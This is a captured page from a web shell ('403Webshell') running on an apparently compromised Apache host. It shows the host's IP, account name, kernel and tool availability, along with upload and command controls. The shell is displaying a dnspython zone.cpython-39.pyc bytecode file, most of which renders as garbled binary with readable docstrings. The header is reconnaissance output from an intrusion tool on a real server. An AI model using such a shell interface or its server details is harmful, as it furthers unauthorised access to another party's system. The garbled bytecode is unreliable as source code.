403Webshell
Server IP : 68.178.164.50  /  Your IP : 216.73.216.142
Web Server : Apache
System : Linux 50.164.178.68.host.secureserver.net 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : rathinambschool ( 1053)
PHP Version : 8.2.30
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/dns/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /lib/python3.9/site-packages/dns/__pycache__/zone.cpython-39.pyc
a

�M�ev��@s~dZddlZddlZddlZddlZddlmZmZmZm	Z	m
Z
mZmZm
Z
mZmZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddl Zddl!m"Z"m#Z#m$Z$Gdd�dej%j&�Z'Gdd�de'�Z(Gd	d
�d
e'�Z)Gdd�de'�Z*Gd
d�dej%j&�Z+Gdd�dej%j&�Z,Gdd�dej%j&�Z-Gdd�dej%j&�Z.ej/j0eej/j0e1ej/j0d�dd�Z2Gdd�dej3j4�Z5Gdd�dej6j7�Z8ej9j9Gdd�de8��Z:Gdd�d�Z;Gd d!�d!e;�Z<ej9j9Gd"d#�d#e;��Z=Gd$d%�d%ej3j>�Z>dej?j@d&e5dd'd&dd&f	eeeej/j0eAfej?jBe1eeeAe1e1eej/jCee1eeAfe5d(�d)d*�ZDdej?j@d&e5dd'd&dd&f	eAeeej/j0eAfej?jBe1eeeAe1e1eej/jCee1eeAfe5d(�d+d,�ZEdej?j@d&e5dd&d&dd&f	eeeej/j0eAfej?jBe1eeeAe1e1eej/jCee1eeAfe5d-�d.d/�ZFe5d&d&feee1e1e5d0�d1d2�ZGdS)3z
DNS Zones.�N)
�Any�Callable�Iterable�Iterator�List�MutableMapping�Optional�Set�Tuple�Union)�DigestHashAlgorithm�DigestScheme�_digest_hashersc@seZdZdZdS)�BadZonezThe DNS zone is malformed.N��__name__�
__module__�__qualname__�__doc__�rr�,/usr/lib/python3.9/site-packages/dns/zone.pyr8src@seZdZdZdS)�NoSOAz)The DNS zone has no SOA RR at its origin.Nrrrrrr<src@seZdZdZdS)�NoNSz+The DNS zone has no NS RRset at its origin.Nrrrrrr@src@seZdZdZdS)�
UnknownOriginz!The DNS zone's origin is unknown.NrrrrrrDsrc@seZdZdZdS)�UnsupportedDigestSchemez(The zone digest's scheme is unsupported.NrrrrrrHsrc@seZdZdZdS)�UnsupportedDigestHashAlgorithmz(The zone digest's origin is unsupported.NrrrrrrLsrc@seZdZdZdS)�NoDigestz/The DNS zone has no ZONEMD RRset at its origin.NrrrrrrPsrc@seZdZdZdS)�DigestVerificationFailurez#The ZONEMD digest failed to verify.NrrrrrrTsr)�name�origin�
relativize�returncCst|durtd��|��r:|�|�s*td��|rp|�|�}n6z|�|�}Wntjjyftd��Yn0|sp|}|S)Nzno zone origin is definedz5name parameter must be a subdomain of the zone originzrelative name too long for zone)�KeyError�is_absoluteZis_subdomainr Zderelativize�dnsrZNameTooLong)rrr Zabs_namerrr�_validate_nameXs
r%c	@s�eZdZUdZejjZegejjfe	d<e
Zegeej
jejjffe	d<dZeegdfe	d<dZeegdfe	d<gd	�Zejjd
feeej
jefejjed�dd
�Zdd�Zdd�Zeej
jefej
jd�dd�Zdd�Zdd�Zdd�Zdd�Z dd�Z!dd �Z"d!d"�Z#d#d$�Z$d%d&�Z%dieej
jefeejjd(�d)d*�Z&djeej
jefeeejjd(�d+d,�Z'eej
jefdd�d-d.�Z(ej)j*d'feej
jefeej)j+efeej)j+efeej,j-d/�d0d1�Z.ej)j*d'feej
jefeej)j+efeej)j+efeeej,j-d/�d2d3�Z/ej)j*feej
jefeej)j+efeej)j+efdd4�d5d6�Z0eej
jefej,j-dd7�d8d9�Z1ej)j*feej
jefeej)j+efeej)j+efej2j3d4�d:d;�Z4ej)j*feej
jefeej)j+efeej)j+efeej2j3d4�d<d=�Z5ej)j6ej)j*feej)j+efeej)j+efe7e8ej
jej,j-fd>�d?d@�Z9ej)j6ej)j*feej)j+efeej)j+efe7e8ej
je:ej;j<fd>�dAdB�Z=dke>eeeeeeddC�dDdE�Z?dleeeeeeedF�dGdH�Z@ddI�dJdK�ZAdmeejBjCejDj6jEjEdL�dMdN�ZFeGjHfeIeGeJdO�dPdQ�ZKeGjHfeIeGejDj6jLjLdO�dRdS�ZMdneejDj6jLjLddT�dUdV�ZNdWdI�dXdY�ZOdoedWdZ�d[d\�ZPe8eej
jeeej
jfdI�d]d^�ZQd_d`�ZRdadb�ZSdcdd�ZTdedf�ZUdgdh�ZVdS)p�ZoneazA DNS zone.

    A ``Zone`` is a mapping from names to nodes.  The zone object may be
    treated like a Python dictionary, e.g. ``zone[name]`` will retrieve
    the node associated with that name.  The *name* may be a
    ``dns.name.Name object``, or it may be a string.  In either case,
    if the name is relative it is treated as relative to the origin of
    the zone.
    �node_factory�map_factoryN�WritableVersion�writable_version_factory�ImmutableVersion�immutable_version_factory)�rdclassr�nodesr T)rr-r cCsf|durFt|t�r tj�|�}nt|tjj�s6td��|��sFtd��||_||_	|�
�|_||_dS)a�Initialize a zone object.

        *origin* is the origin of the zone.  It may be a ``dns.name.Name``,
        a ``str``, or ``None``.  If ``None``, then the zone's origin will
        be set by the first ``$ORIGIN`` line in a zone file.

        *rdclass*, an ``int``, the zone's rdata class; the default is class IN.

        *relativize*, a ``bool``, determine's whether domain names are
        relativized to the zone's origin.  The default is ``True``.
        Nz2origin parameter must be convertible to a DNS namez)origin parameter must be an absolute name)
�
isinstance�strr$r�	from_text�Name�
ValueErrorr#rr-r(r.r )�selfrr-r rrr�__init__�s

z
Zone.__init__cCs:t|t�sdS|j|jks2|j|jks2|j|jkr6dSdS)zqTwo zones are equal if they have the same origin, class, and
        nodes.

        Returns a ``bool``.
        FT)r/r&r-rr.�r4�otherrrr�__eq__�s

�
�
�zZone.__eq__cCs|�|�S)z>Are two zones not equal?

        Returns a ``bool``.
        )r8r6rrr�__ne__�szZone.__ne__�rr!cCs@t|t�rtj�|d�}nt|tjj�s0td��t||j|j	�S)Nz0name parameter must be convertible to a DNS name)
r/r0r$rr1r2r"r%rr �r4rrrrr%�s

zZone._validate_namecCs|�|�}|j|S�N�r%r.�r4�keyrrr�__getitem__�s
zZone.__getitem__cCs|�|�}||j|<dSr<r=)r4r?�valuerrr�__setitem__�s
zZone.__setitem__cCs|�|�}|j|=dSr<r=r>rrr�__delitem__�s
zZone.__delitem__cCs
|j��Sr<)r.�__iter__�r4rrrrD�sz
Zone.__iter__cCs
|j��Sr<�r.�keysrErrrrG�sz	Zone.keyscCs
|j��Sr<)r.�valuesrErrrrH�szZone.valuescCs
|j��Sr<�r.�itemsrErrrrJ�sz
Zone.itemscCs|�|�}|j�|�Sr<�r%r.�getr>rrrrL�s
zZone.getcCs|�|�}||jvSr<r=r>rrr�__contains__�s
zZone.__contains__F)r�creater!cCs<|�|�}|j�|�}|dur8|s&t�|��}||j|<|S)aNFind a node in the zone, possibly creating it.

        *name*: the name of the node to find.
        The value may be a ``dns.name.Name`` or a ``str``.  If absolute, the
        name must be a subdomain of the zone's origin.  If ``zone.relativize``
        is ``True``, then the name will be relativized.

        *create*, a ``bool``.  If true, the node will be created if it does
        not exist.

        Raises ``KeyError`` if the name is not known and create was
        not specified, or if the name was not a subdomain of the origin.

        Returns a ``dns.node.Node``.
        N)r%r.rLr"r'�r4rrN�noderrr�	find_node�s

zZone.find_nodecCs,z|�||�}Wnty&d}Yn0|S)a�Get a node in the zone, possibly creating it.

        This method is like ``find_node()``, except it returns None instead
        of raising an exception if the node does not exist and creation
        has not been requested.

        *name*: the name of the node to find.
        The value may be a ``dns.name.Name`` or a ``str``.  If absolute, the
        name must be a subdomain of the zone's origin.  If ``zone.relativize``
        is ``True``, then the name will be relativized.

        *create*, a ``bool``.  If true, the node will be created if it does
        not exist.

        Returns a ``dns.node.Node`` or ``None``.
        N)rQr"rOrrr�get_nodes

z
Zone.get_nodecCs |�|�}||jvr|j|=dS)akDelete the specified node if it exists.

        *name*: the name of the node to find.
        The value may be a ``dns.name.Name`` or a ``str``.  If absolute, the
        name must be a subdomain of the zone's origin.  If ``zone.relativize``
        is ``True``, then the name will be relativized.

        It is not an error if the node does not exist.
        Nr=r;rrr�delete_node s

zZone.delete_node)r�rdtype�coversrNr!cCsD|�|�}tjj�|�}tjj�|�}|�||�}|�|j|||�S)a�Look for an rdataset with the specified name and type in the zone,
        and return an rdataset encapsulating it.

        The rdataset returned is not a copy; changes to it will change
        the zone.

        KeyError is raised if the name or type are not found.

        *name*: the name of the node to find.
        The value may be a ``dns.name.Name`` or a ``str``.  If absolute, the
        name must be a subdomain of the zone's origin.  If ``zone.relativize``
        is ``True``, then the name will be relativized.

        *rdtype*, a ``dns.rdatatype.RdataType`` or ``str``, the rdata type desired.

        *covers*, a ``dns.rdatatype.RdataType`` or ``str`` the covered type.
        Usually this value is ``dns.rdatatype.NONE``, but if the
        rdtype is ``dns.rdatatype.SIG`` or ``dns.rdatatype.RRSIG``,
        then the covers value will be the rdata type the SIG/RRSIG
        covers.  The library treats the SIG and RRSIG types as if they
        were a family of types, e.g. RRSIG(A), RRSIG(NS), RRSIG(SOA).
        This makes RRSIGs much easier to work with than if RRSIGs
        covering different rdata types were aggregated into a single
        RRSIG rdataset.

        *create*, a ``bool``.  If true, the node will be created if it does
        not exist.

        Raises ``KeyError`` if the name is not known and create was
        not specified, or if the name was not a subdomain of the origin.

        Returns a ``dns.rdataset.Rdataset``.
        )r%r$�	rdatatype�	RdataType�makerQ�
find_rdatasetr-)r4rrTrUrNrPrrrrY/s
)
zZone.find_rdatasetcCs0z|�||||�}Wnty*d}Yn0|S)a%Look for an rdataset with the specified name and type in the zone.

        This method is like ``find_rdataset()``, except it returns None instead
        of raising an exception if the rdataset does not exist and creation
        has not been requested.

        The rdataset returned is not a copy; changes to it will change
        the zone.

        *name*: the name of the node to find.
        The value may be a ``dns.name.Name`` or a ``str``.  If absolute, the
        name must be a subdomain of the zone's origin.  If ``zone.relativize``
        is ``True``, then the name will be relativized.

        *rdtype*, a ``dns.rdatatype.RdataType`` or ``str``, the rdata type desired.

        *covers*, a ``dns.rdatatype.RdataType`` or ``str``, the covered type.
        Usually this value is ``dns.rdatatype.NONE``, but if the
        rdtype is ``dns.rdatatype.SIG`` or ``dns.rdatatype.RRSIG``,
        then the covers value will be the rdata type the SIG/RRSIG
        covers.  The library treats the SIG and RRSIG types as if they
        were a family of types, e.g. RRSIG(A), RRSIG(NS), RRSIG(SOA).
        This makes RRSIGs much easier to work with than if RRSIGs
        covering different rdata types were aggregated into a single
        RRSIG rdataset.

        *create*, a ``bool``.  If true, the node will be created if it does
        not exist.

        Raises ``KeyError`` if the name is not known and create was
        not specified, or if the name was not a subdomain of the origin.

        Returns a ``dns.rdataset.Rdataset`` or ``None``.
        N)rYr")r4rrTrUrN�rdatasetrrr�get_rdataset^s
*
zZone.get_rdataset�rrTrUr!cCsb|�|�}tjj�|�}tjj�|�}|�|�}|dur^|�|j||�t|�dkr^|�	|�dS)a�Delete the rdataset matching *rdtype* and *covers*, if it
        exists at the node specified by *name*.

        It is not an error if the node does not exist, or if there is no matching
        rdataset at the node.

        If the node has no rdatasets after the deletion, it will itself be deleted.

        *name*: the name of the node to find. The value may be a ``dns.name.Name`` or a
        ``str``.  If absolute, the name must be a subdomain of the zone's origin.  If
        ``zone.relativize`` is ``True``, then the name will be relativized.

        *rdtype*, a ``dns.rdatatype.RdataType`` or ``str``, the rdata type desired.

        *covers*, a ``dns.rdatatype.RdataType`` or ``str`` or ``None``, the covered
        type. Usually this value is ``dns.rdatatype.NONE``, but if the rdtype is
        ``dns.rdatatype.SIG`` or ``dns.rdatatype.RRSIG``, then the covers value will be
        the rdata type the SIG/RRSIG covers.  The library treats the SIG and RRSIG types
        as if they were a family of types, e.g. RRSIG(A), RRSIG(NS), RRSIG(SOA). This
        makes RRSIGs much easier to work with than if RRSIGs covering different rdata
        types were aggregated into a single RRSIG rdataset.
        Nr)
r%r$rVrWrXrR�delete_rdatasetr-�lenrS�r4rrTrUrPrrrr]�s

zZone.delete_rdataset)r�replacementr!cCs.|j|jkrtd��|�|d�}|�|�dS)a�Replace an rdataset at name.

        It is not an error if there is no rdataset matching I{replacement}.

        Ownership of the *replacement* object is transferred to the zone;
        in other words, this method does not store a copy of *replacement*
        at the node, it stores *replacement* itself.

        If the node does not exist, it is created.

        *name*: the name of the node to find.
        The value may be a ``dns.name.Name`` or a ``str``.  If absolute, the
        name must be a subdomain of the zone's origin.  If ``zone.relativize``
        is ``True``, then the name will be relativized.

        *replacement*, a ``dns.rdataset.Rdataset``, the replacement rdataset.
        z#replacement.rdclass != zone.rdclassTN)r-r3rQ�replace_rdataset)r4rr`rPrrrra�szZone.replace_rdatasetcCs^|�|�}tjj�|�}tjj�|�}|j|�|j||�}tj�	||j||�}|�
|�|S)a�Look for an rdataset with the specified name and type in the zone,
        and return an RRset encapsulating it.

        This method is less efficient than the similar
        ``find_rdataset()`` because it creates an RRset instead of
        returning the matching rdataset.  It may be more convenient
        for some uses since it returns an object which binds the owner
        name to the rdataset.

        This method may not be used to create new nodes or rdatasets;
        use ``find_rdataset`` instead.

        *name*: the name of the node to find.
        The value may be a ``dns.name.Name`` or a ``str``.  If absolute, the
        name must be a subdomain of the zone's origin.  If ``zone.relativize``
        is ``True``, then the name will be relativized.

        *rdtype*, a ``dns.rdatatype.RdataType`` or ``str``, the rdata type desired.

        *covers*, a ``dns.rdatatype.RdataType`` or ``str``, the covered type.
        Usually this value is ``dns.rdatatype.NONE``, but if the
        rdtype is ``dns.rdatatype.SIG`` or ``dns.rdatatype.RRSIG``,
        then the covers value will be the rdata type the SIG/RRSIG
        covers.  The library treats the SIG and RRSIG types as if they
        were a family of types, e.g. RRSIG(A), RRSIG(NS), RRSIG(SOA).
        This makes RRSIGs much easier to work with than if RRSIGs
        covering different rdata types were aggregated into a single
        RRSIG rdataset.

        *create*, a ``bool``.  If true, the node will be created if it does
        not exist.

        Raises ``KeyError`` if the name is not known and create was
        not specified, or if the name was not a subdomain of the origin.

        Returns a ``dns.rrset.RRset`` or ``None``.
        )r%r$rVrWrXr.rYr-�rrset�RRset�update)r4rrTrUZvnamerZrbrrr�
find_rrset�s,

zZone.find_rrsetcCs.z|�|||�}Wnty(d}Yn0|S)a.Look for an rdataset with the specified name and type in the zone,
        and return an RRset encapsulating it.

        This method is less efficient than the similar ``get_rdataset()``
        because it creates an RRset instead of returning the matching
        rdataset.  It may be more convenient for some uses since it
        returns an object which binds the owner name to the rdataset.

        This method may not be used to create new nodes or rdatasets;
        use ``get_rdataset()`` instead.

        *name*: the name of the node to find.
        The value may be a ``dns.name.Name`` or a ``str``.  If absolute, the
        name must be a subdomain of the zone's origin.  If ``zone.relativize``
        is ``True``, then the name will be relativized.

        *rdtype*, a ``dns.rdataset.Rdataset`` or ``str``, the rdata type desired.

        *covers*, a ``dns.rdataset.Rdataset`` or ``str``, the covered type.
        Usually this value is ``dns.rdatatype.NONE``, but if the
        rdtype is ``dns.rdatatype.SIG`` or ``dns.rdatatype.RRSIG``,
        then the covers value will be the rdata type the SIG/RRSIG
        covers.  The library treats the SIG and RRSIG types as if they
        were a family of types, e.g. RRSIG(A), RRSIG(NS), RRSIG(SOA).
        This makes RRSIGs much easier to work with than if RRSIGs
        covering different rdata types were aggregated into a single
        RRSIG rdataset.

        *create*, a ``bool``.  If true, the node will be created if it does
        not exist.

        Returns a ``dns.rrset.RRset`` or ``None``.
        N)rer")r4rrTrUrbrrr�	get_rrsets
(
zZone.get_rrset)rTrUr!ccsftjj�|�}tjj�|�}|��D]<\}}|D].}|tjjksT|j|kr0|j|kr0||fVq0q$dS)a�Return a generator which yields (name, rdataset) tuples for
        all rdatasets in the zone which have the specified *rdtype*
        and *covers*.  If *rdtype* is ``dns.rdatatype.ANY``, the default,
        then all rdatasets will be matched.

        *rdtype*, a ``dns.rdataset.Rdataset`` or ``str``, the rdata type desired.

        *covers*, a ``dns.rdataset.Rdataset`` or ``str``, the covered type.
        Usually this value is ``dns.rdatatype.NONE``, but if the
        rdtype is ``dns.rdatatype.SIG`` or ``dns.rdatatype.RRSIG``,
        then the covers value will be the rdata type the SIG/RRSIG
        covers.  The library treats the SIG and RRSIG types as if they
        were a family of types, e.g. RRSIG(A), RRSIG(NS), RRSIG(SOA).
        This makes RRSIGs much easier to work with than if RRSIGs
        covering different rdata types were aggregated into a single
        RRSIG rdataset.
        N)r$rVrWrXrJ�ANYrTrU)r4rTrUrrP�rdsrrr�iterate_rdatasets0s��zZone.iterate_rdatasetsccsttjj�|�}tjj�|�}|��D]J\}}|D]<}|tjjksT|j|kr0|j|kr0|D]}||j|fVqXq0q$dS)a�Return a generator which yields (name, ttl, rdata) tuples for
        all rdatas in the zone which have the specified *rdtype*
        and *covers*.  If *rdtype* is ``dns.rdatatype.ANY``, the default,
        then all rdatas will be matched.

        *rdtype*, a ``dns.rdataset.Rdataset`` or ``str``, the rdata type desired.

        *covers*, a ``dns.rdataset.Rdataset`` or ``str``, the covered type.
        Usually this value is ``dns.rdatatype.NONE``, but if the
        rdtype is ``dns.rdatatype.SIG`` or ``dns.rdatatype.RRSIG``,
        then the covers value will be the rdata type the SIG/RRSIG
        covers.  The library treats the SIG and RRSIG types as if they
        were a family of types, e.g. RRSIG(A), RRSIG(NS), RRSIG(SOA).
        This makes RRSIGs much easier to work with than if RRSIGs
        covering different rdata types were aggregated into a single
        RRSIG rdataset.
        N)	r$rVrWrXrJrgrTrU�ttl)r4rTrUrrPrh�rdatarrr�iterate_rdatasPs��zZone.iterate_rdatas)�f�sortedr �nl�
want_comments�want_originr!c
Cs�t|t�rt|d�}n
t�|�}|��b}t|dd�}|dur@d}|durZtj�|�}	d}n"t|t�rp|�|�}	n|}	|�	�}|r�|j
dus�J�d|j
��}
|
�|�}z|�|�|�|	�Wn&t
y�|�|
�|�|�Yn0|�rt|���}|��n|��}|D]j}
||
j|
|j
||d�}
|
�|�}z|�|�|�|	�Wn(t
�yt|�|
�|�|�Yn0�qWd�n1�s�0YdS)a=Write a zone to a file.

        *f*, a file or `str`.  If *f* is a string, it is treated
        as the name of a file to open.

        *sorted*, a ``bool``.  If True, the default, then the file
        will be written with the names sorted in DNSSEC order from
        least to greatest.  Otherwise the names will be written in
        whatever order they happen to have in the zone's dictionary.

        *relativize*, a ``bool``.  If True, the default, then domain
        names in the output will be relativized to the zone's origin
        if possible.

        *nl*, a ``str`` or None.  The end of line string.  If not
        ``None``, the output will use the platform's native
        end-of-line marker (i.e. LF on POSIX, CRLF on Windows).

        *want_comments*, a ``bool``.  If ``True``, emit end-of-line comments
        as part of writing the file.  If ``False``, the default, do not
        emit them.

        *want_origin*, a ``bool``.  If ``True``, emit a $ORIGIN line at
        the start of the file.  If ``False``, the default, do not emit
        one.
        �wb�encodingNzutf-8�
z$ORIGIN )rr rp)r/r0�open�
contextlib�nullcontext�getattr�os�linesep�encode�decoder�to_text�write�	TypeError�listrG�sort)r4rmrnr rorprq�cmZfile_encZnl_b�lZl_b�names�nrrr�to_fileqsT$






�


zZone.to_file)rnr rorprqr!cCs0t��}|�||||||�|��}|��|S)aReturn a zone's text as though it were written to a file.

        *sorted*, a ``bool``.  If True, the default, then the file
        will be written with the names sorted in DNSSEC order from
        least to greatest.  Otherwise the names will be written in
        whatever order they happen to have in the zone's dictionary.

        *relativize*, a ``bool``.  If True, the default, then domain
        names in the output will be relativized to the zone's origin
        if possible.

        *nl*, a ``str`` or None.  The end of line string.  If not
        ``None``, the output will use the platform's native
        end-of-line marker (i.e. LF on POSIX, CRLF on Windows).

        *want_comments*, a ``bool``.  If ``True``, emit end-of-line comments
        as part of writing the file.  If ``False``, the default, do not
        emit them.

        *want_origin*, a ``bool``.  If ``True``, emit a $ORIGIN line at
        the start of the output.  If ``False``, the default, do not emit
        one.

        Returns a ``str``.
        )�io�StringIOr��getvalue�close)r4rnr rorprqZtemp_bufferZreturn_valuerrrr}�s
!zZone.to_text�r!cCsX|jrtjj}n|jdusJ�|j}|�|tjj�dur<t�|�|tjj	�durTt
�dS)z�Do some simple checking of the zone's origin.

        Raises ``dns.zone.NoSOA`` if there is no SOA RRset.

        Raises ``dns.zone.NoNS`` if there is no NS RRset.

        Raises ``KeyError`` if there is no origin node.
        N)r r$r�emptyrr[rV�SOArZNSrr;rrr�check_origin�s	
zZone.check_origin)�txnr!cCs^|jrtjj}n|jdurt�|j}|r:|�|tjj�}n|�	|tjj�}|durVt�|dS)z�Get the zone SOA rdata.

        Raises ``dns.zone.NoSOA`` if there is no SOA RRset.

        Returns a ``dns.rdtypes.ANY.SOA.SOA`` Rdata.
        Nr)
r r$rr�rrrLrVr�r[)r4r��origin_nameZsoarrr�get_soas	

zZone.get_soa)�hash_algorithm�schemer!cst�|�}|st�|tjkr t��jr0tjj	}n�j
dus>J��j
}|�}t����D]�\}}|�
�j
�}t|dd�d�D]~}	||kr�tjj|	j|	jfvr�qzt�d|	j|	j|	j�}
�fdd�|	D�}t|�D]*}t�dt|��}
|�||
|
|�q�qzqV|��S)NcSs|j|jfSr<)rTrU)rhrrr�<lambda>1�z&Zone._compute_digest.<locals>.<lambda>)r?z!HHIcsg|]}|��j��qSr)�
to_digestabler)�.0rkrErr�
<listcomp>:r�z(Zone._compute_digest.<locals>.<listcomp>z!H)rrLrr
�SIMPLErr r$rr�rrnrJr�rV�ZONEMDrTrU�struct�packr-rjr^rd�digest)r4r�r�Zhashinfor�ZhasherrrPZ	rrnamebufrZZrrfixedZrdatasrkZrrlenrrEr�_compute_digests4


��zZone._compute_digestcCs6|��j}|�||�}tjjj�|jtjj||||�Sr<)	r��serialr�r$�rdtypesrgr�r-rV)r4r�r�r�r�rrr�compute_digest@s


�zZone.compute_digest)�zonemdr!c	Cs�|r|g}n0|jdusJ�|�|jtjj�}|dur8t�|}|D]>}z&|�|j|j�}||j	krhWdSWq@t
y|Yq@0q@t�dSr<)rr[r$rVr�rr�r�r�r��	Exceptionr)r4r�Zdigestsrhr�Zcomputedrrr�
verify_digestKs
zZone.verify_digest�TransactioncCst|dt|d|j|j��S)NF�)r��Versionr.rrErrr�readerbszZone.reader�r`r!cCst||�}|��|Sr<)r��_setup_version)r4r`r�rrr�writeres
zZone.writercCs$|jrtjj}n|j}|j|j|fSr<)r r$rr�r)r4�	effectiverrr�origin_informationjs
zZone.origin_informationcCs|jSr<)r-rErrr�	get_classtszZone.get_classcCsdSr<r�r4r�rrr�	_end_readyszZone._end_readcCsdSr<rr�rrr�
_end_write|szZone._end_writecCs|j|_|jdur||_dSr<)r.r)r4�_�versionrrrr�_commit_versions
zZone._commit_versioncCsdS)Nr�rrErrr�_get_next_version_id�szZone._get_next_version_id)F)F)TTNFF)TTNFF)N)N)F)Wrrrrr$rP�Noder'r�__annotations__�dictr(rrr2r*rr,�	__slots__�
rdataclass�INrr0�
RdataClass�boolr5r8r9r%r@rBrCrDrGrHrJrLrMrQrRrSrV�NONErWrZ�RdatasetrYr[r]rarbrcrerfrgrr
ri�intrkZRdatarlrr�r}r��transactionr�r�r�r�r
r�r�bytesr�r�r�r�r�r�r�r�r�r�r�r�rrrrr&xs.

$�� 	���
���3�
�4��'���8�
�0��"��$��[��'�

���%�
����
r&cs"eZdZdgZ�fdd�Z�ZS)�
VersionedNode�idcst���d|_dS�Nr)�superr5r�rE��	__class__rrr5�s
zVersionedNode.__init__)rrrr�r5�
__classcell__rrr�rr��sr�cs�eZdZ�fdd�Zejjdfejjejj	ejj	e
ejjd��fdd�
Z
ejjdfejjejj	ejj	e
eejjd��fdd�
Zejjfejjejj	ejj	d	d
�dd�Zejjd	d
�dd�Ze
d�dd�Z�ZS)�ImmutableVersionedNodecs,t���|j|_tdd�|jD��|_dS)NcSsg|]}tj�|��qSr)r$rZZImmutableRdataset)r�rhrrrr��r�z3ImmutableVersionedNode.__init__.<locals>.<listcomp>)r�r5r��tuple�	rdatasets)r4rPr�rrr5�s

�zImmutableVersionedNode.__init__F)r-rTrUrNr!cs|rtd��t��|||d�S�N�	immutableF)rr�rY�r4r-rTrUrNr�rrrY�sz$ImmutableVersionedNode.find_rdatasetcs|rtd��t��|||d�Sr�)rr�r[r�r�rrr[�sz#ImmutableVersionedNode.get_rdatasetN)r-rTrUr!cCstd��dS�Nr��r)r4r-rTrUrrrr]�sz&ImmutableVersionedNode.delete_rdatasetr�cCstd��dSr�r�)r4r`rrrra�sz'ImmutableVersionedNode.replace_rdatasetr�cCsdS�NTrrErrr�is_immutable�sz#ImmutableVersionedNode.is_immutable)rrrr5r$rVr�r�r�rWr�rZr�rYrr[r]rar�r�rrr�rr��s8���
���r�c@s�eZdZdeeeeejj	ej
jfeejj	d�dd�Zejj	ejj	d�dd�Z
ejj	eej
jd�dd	�Zejj	ejjejjeejjd
�dd�Zd
d�Zdd�ZdS)r�N)�zoner�r.rcCs0||_||_|dur||_n
|��|_||_dSr<)r�r�r.r(r)r4r�r�r.rrrrr5�s
zVersion.__init__r:cCst||j|jj�Sr<)r%rr�r r;rrrr%�szVersion._validate_namecCs|�|�}|j�|�Sr<rKr;rrrrR�s
zVersion.get_noder\cCs(|�|�}|durdS|�|jj||�Sr<)rRr[r�r-r_rrrr[�s
zVersion.get_rdatasetcCs
|j��Sr<rFrErrrrG�szVersion.keyscCs
|j��Sr<rIrErrrrJ�sz
Version.items)NN)rrrr&r�rrr$rr2rPr�r5r%rRrVrWrZr�r[rGrJrrrrr��s"�
�
�r�cs�eZdZdeed��fdd�
Zejjej	j
d�dd�Zejjdd�d	d
�Zejjej
jdd�dd
�Zejjejjejjdd�dd�Z�ZS)r)F)r�r`cs<|��}t��||�|s(|j�|j�|j|_t�|_dSr<)r�r�r5r.rdr�set�changed)r4r�r`r�r�rrr5�szWritableVersion.__init__r:cCs||�|�}|j�|�}|dus(||jvrt|j��}t|d�rD|j|_|durZ|j�	|j�||j|<|j�
|�|S|SdS)Nr�)r%r.rLr�r�r'�hasattrr�r��extend�add)r4rrPZnew_noderrr�
_maybe_cows



zWritableVersion._maybe_cowNcCs,|�|�}||jvr(|j|=|j�|�dSr<)r%r.r�r�r;rrrrSs

zWritableVersion.delete_node)rrZr!cCs|�|�}|�|�dSr<)r�ra)r4rrZrPrrr�put_rdatasets
zWritableVersion.put_rdatasetr\cCs4|�|�}|�|jj||�t|�dkr0|j|=dSr�)r�r]r�r-r^r.r_rrrr]$s
zWritableVersion.delete_rdataset)F)rrrr&r�r5r$rr2rPr�r�rSrZr�r�rVrWr]r�rrr�rr)�s��r)cs"eZdZed��fdd�Z�ZS)r+)r�csft��|jd�|j|_|j|_|jD]"}|j�|�}|r&t|�|j|<q&t	j
�|jd|jj�|_dSr�)
r�r5r�r�rr�r.rLr�r$r��Dictr()r4r�rrPr�rrr52s
�zImmutableVersion.__init__)rrrr)r5r�rrr�rr+0sr+cs�eZdZd!�fdd�	Zedd��Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Z�ZS)"r�NFcs(|du}t��|||�||_||_dSr<)r�r5r��make_immutable)r4r�r`r�r��	read_onlyr�rrr5IszTransaction.__init__cCs|jSr<)�managerrErrrr�OszTransaction.zonecCs6|jdusJ�|jj}|dur"t}||j|j�|_dSr<)r�r�r*r)r�r`)r4�factoryrrrr�Ss
zTransaction._setup_versioncCs|j�|||�Sr<)r�r[�r4rrTrUrrr�
_get_rdatasetZszTransaction._get_rdatasetcCs|jr
J�|j�||�dSr<)r�r�r�)r4rrZrrr�
_put_rdataset]s
zTransaction._put_rdatasetcCs|jr
J�|j�|�dSr<)r�r�rSr;rrr�_delete_nameas
zTransaction._delete_namecCs|jr
J�|j�|||�dSr<)r�r�r]r�rrr�_delete_rdatasetes
zTransaction._delete_rdatasetcCs|j�|�duSr<�r�rRr;rrr�_name_existsiszTransaction._name_existscCs|jr
dSt|jj�dkSdS)NFr)r�r^r�r�rErrr�_changedlszTransaction._changedcCsz|jr|j�|�nb|rjt|jj�dkrj|jrN|jj}|durBt	}||j�}n|j}|j�
|||jj�n|j�|�dSr�)
r�r�r�r^r�r�r�r�r,r+r�rr�)r4Zcommitr�r�rrr�_end_transactionrszTransaction._end_transactioncCs|jjdur||j_dSr<)r�r)r4rrrr�_set_origin�szTransaction._set_originccs,|j��D]\}}|D]}||fVqq
dSr<)r�rJ)r4rrPrZrrr�_iterate_rdatasets�szTransaction._iterate_rdatasetscCs
|j��Sr<)r�rGrErrr�_iterate_names�szTransaction._iterate_namescCs|j�|�Sr<r�r;rrr�	_get_node�szTransaction._get_nodecCsH|j��\}}}|dur>|jjdur>|jj}|r:tjj}n|}|||fSr<)r�r�r�rr$rr�)r4�absoluter r�rrr�_origin_information�s
zTransaction._origin_information)NF)rrrr5�propertyr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrr�rr�Hs 
r�TF)�textrr-r �zone_factory�filename�
allow_includer��
idna_codec�allow_directivesr!c
	Cs�|durd}||||d�}
|
�d��d}tjj|||d�}tjj|||||	d�}
z|
��Wntjjyxtjj�Yn0Wd�n1s�0Y|r�|
�	�|
S)Nz<string>�r T)r�)r�r�)
r�r$Z	tokenizer�	TokenizerZzonefile�Reader�readrr�r�)r�rr-r r�r�r�r�r�r�r�r��tokr�rrr�
_from_text�s&�,r�c

Cst||||||||||	�
S)aBuild a zone object from a zone file format string.

    *text*, a ``str``, the zone file format input.

    *origin*, a ``dns.name.Name``, a ``str``, or ``None``.  The origin
